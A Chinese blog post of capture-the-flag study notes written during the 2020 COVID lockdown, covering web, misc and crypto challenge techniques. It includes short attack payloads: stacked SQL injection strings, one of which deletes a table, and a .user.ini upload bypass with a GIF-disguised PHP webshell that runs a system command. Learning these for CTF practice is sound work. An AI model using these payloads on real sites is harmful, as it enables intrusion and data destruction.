2020春节记_疫情别恋

BUU平台很好,表示明年还会再来

Posted by Eli0t on 2020-02-18

武汉加油❤️

春节前夕武汉爆发新型冠状病毒🦠,病毒随着春运快速传播,全国乃至全球都出现了患者,导致政府实施封路。我此时生身处海南省的爷爷奶奶家,本是想着来看看爷爷奶奶,结果却被困在海南回不了家了。国家有难,出不了力,只能待在家里不给国家添乱。正好借此机会多多学习。😂

从Web到Misc再到Crypto,此处简单记录一下思路。

web做了些除PHP其他语言的后端题,什么python和java的,java语言还是得来学一下。

  • python Flask框架审计,首先查看路由。

    1
    2
    3
    @app.route('/')
    def hello_world():
    return 'Hello World!'
  • python Tornado框架,服务端模板注入攻击(SSTI)。
    SSTI

    Tornado是一种 Web 服务器软件的开源版本。Tornado 和主流Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
    得利于其非阻塞的方式和对epoll的运用,Tornado 每秒可以处理数以千计的连接,因此 Tornado 是实时 Web 服务的一个 理想框架。

  • java Tomcat框架,搭建起来比较简单。WEB-INF/web.xml泄露(这个还不是很熟)。例题
    tomcat

    1
    2
    sudo chmod 755 bin/*.sh
    ./bin/startup.sh

    tomcat
    ctf/web源码泄露及利用办法

  • 正则,主要是要熟记。Python中字符串前面加上 r 表示原生字符串。
    正则
    正则
    递归正则[a-z,_]+\((?R)?\)可用于正则括号对称问题。

  • 堆叠注入

    1
    1';show databases;#

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

  • PHP文件上传中的.user.ini隐藏后门(这是高级操作,普通的就是.htaccess文件攻击),这个操作有点骚啊😅。后台以黑名单过滤,我们可以上传一个这样的.user.ini:

    1
    2
    GIF89a
    auto_prepend_file=a.jpg

    然后再上传一个这样的图片马a.jpg:

    1
    2
    GIF89a
    <script language='php'>system('cat /flag');</script>

    最后,我们访问同目录下的随机一个php文件。例题:SUCTF 2019 CheckIn

  • js代码压缩混淆,用来让对方看不懂代码。可将源码中的js进行反混淆反压缩。还是得抓紧时间把AJAX学下来。还有控制台的使用,我只在Bugku的江湖魔头操作过,都快忘了

  • Misc中学到的就是,懂文件的16进制源码什么位置代表什么。比如图片宽和高,rar和zip伪加密压缩包要修改哪里什么的。不熟的是在图片的高度被改过了后怎么写脚本计算图片原始的高。例题:大白

  • Crypto难点就是RSA非对称加密了,一般是根据密文和公钥等让你用脚本计算,再就是用脚本爆破,还有密文是多项式的。这部分不太熟要多钻研。多项式密文